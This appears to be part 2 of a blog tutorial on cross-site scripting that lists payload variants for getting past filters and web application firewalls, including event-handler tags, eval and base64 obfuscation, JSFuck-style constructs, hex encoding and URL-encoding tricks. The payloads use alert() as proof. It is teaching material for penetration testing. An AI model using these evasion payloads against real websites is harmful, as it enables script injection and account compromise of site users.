This is part 2 of XSS in Real World tutorial.
Part 1 of XSS in Real World tutorial
What if the <script> tag is filtered out?
Some WAF evasion cheat-sheets that we can use <sCRipT> tag, but I’ve never seen this in real world.
So I don’t even try it.
Some variations:
<img src=x onerror=alert()>
<img/src=x onerror=”alert()”>
<svg onload=alert()>
<svg/onload=’alert()’>
<marquee onstart=alert()>
<div style=”width:1000px;height:1000px” onmouseover=alert()>asdfa</div>
<a onmouseover=alert()>some random text
What if alert() is filtered?
confirm()
prompt()
window[‘alert’](‘xss’)
window['ale'+'rt']('xss')
eval(window.atob('YWxlcnQoJ3hzcycp')) //decode base64 string && execute
eval(window['atob']('YWxlcnQoJ3hzcycp'))
window['e'+'v'+'a'+'l'](window['atob']('YWxlcnQoJ3hzcycp'))
Awesome evasion technique: []["filter"]["constructor"]( CODE )() //equals to eval()
So,
eval(‘alert()’) == []["filter"]["constructor"]( window['atob']('YWxlcnQoJ3hzcycp') )()
And even more evasion:
[]["fil"+"ter"]["constr"+"uctor"]( window['atob']('YWxlcnQoJ3hzcycp') )()
document.body += atob(‘PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+’) //decoded base64 == <script>alert()</script>
Some reference on []() functions:
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()
Some security researchers go deeper, and develop tools like:
http://www.jsfuck.com/
http://patriciopalladino.com/files/hieroglyphy/
That will generate your JavaScript CODE only with []()!+ characters.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])
Thanks to Patricio Palladino and Martin Kleppe.
So you understand string manipulation like ‘ale’+’rt’...
Will not going to explain it again :)
What if () characters are filtered?
onerror=alert; throw “xss”
“document.body += ‘string’” will append your string to the end of <body> tag.
document.body += ‘<script>alert\x28\x29</script>’ // in HEX: ‘\x28’ == ‘(‘ and ‘\x29’ == ‘)’
Or you can encode the whole string <script>alert()</script> in HEX:
document.body +=
‘\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E’
Or just use your XSS as open redirect:
document.location = ‘http://google.com’ //open redirect
Again, document.location == document[‘locati’+’on’].
Keep that in mind.
As additional reference, I recommend to read this book:
http://dl.packetstormsecurity.net/papers/bypass/WAF_Bypassing_By_RAFAYBALOCH.pdf
Simple HTML injections are easy to sanitize. Filter out tags and ‘=’ characters, and it will be painful job of finding XSS.
For example, Microsoft .NET 4 marking as Dangerous Request every request with character ‘<’ followed by almost any ASCII character. I’ve not found a way of evasion. So ‘<s’ or ‘<m’ or ‘</’ will be marked as dangerous.
So the only way to bypass it is to use ‘” onmouseover=alert()’> in case if ‘=’ is not filtered out.
Or to use inline JS injection (will be discussed in next part).
ModSecurity doesn’t know about ‘confirm()’...
Some others don’t handle Unicode encoding and/or double URL encoding.
If you can’t use ‘onload’ keyword, try ‘onload’ or ‘onl%u006fad’ or ‘onl%256fad’
Or if ‘=’ character is filtered or marked as dangerous, try ‘onload%u003d’
Fine. This is over.
In part 3, I will show you a real example of Inline JavaScript injection.
Like & Share :)
Alexander Korznikov.
No comments:
Post a Comment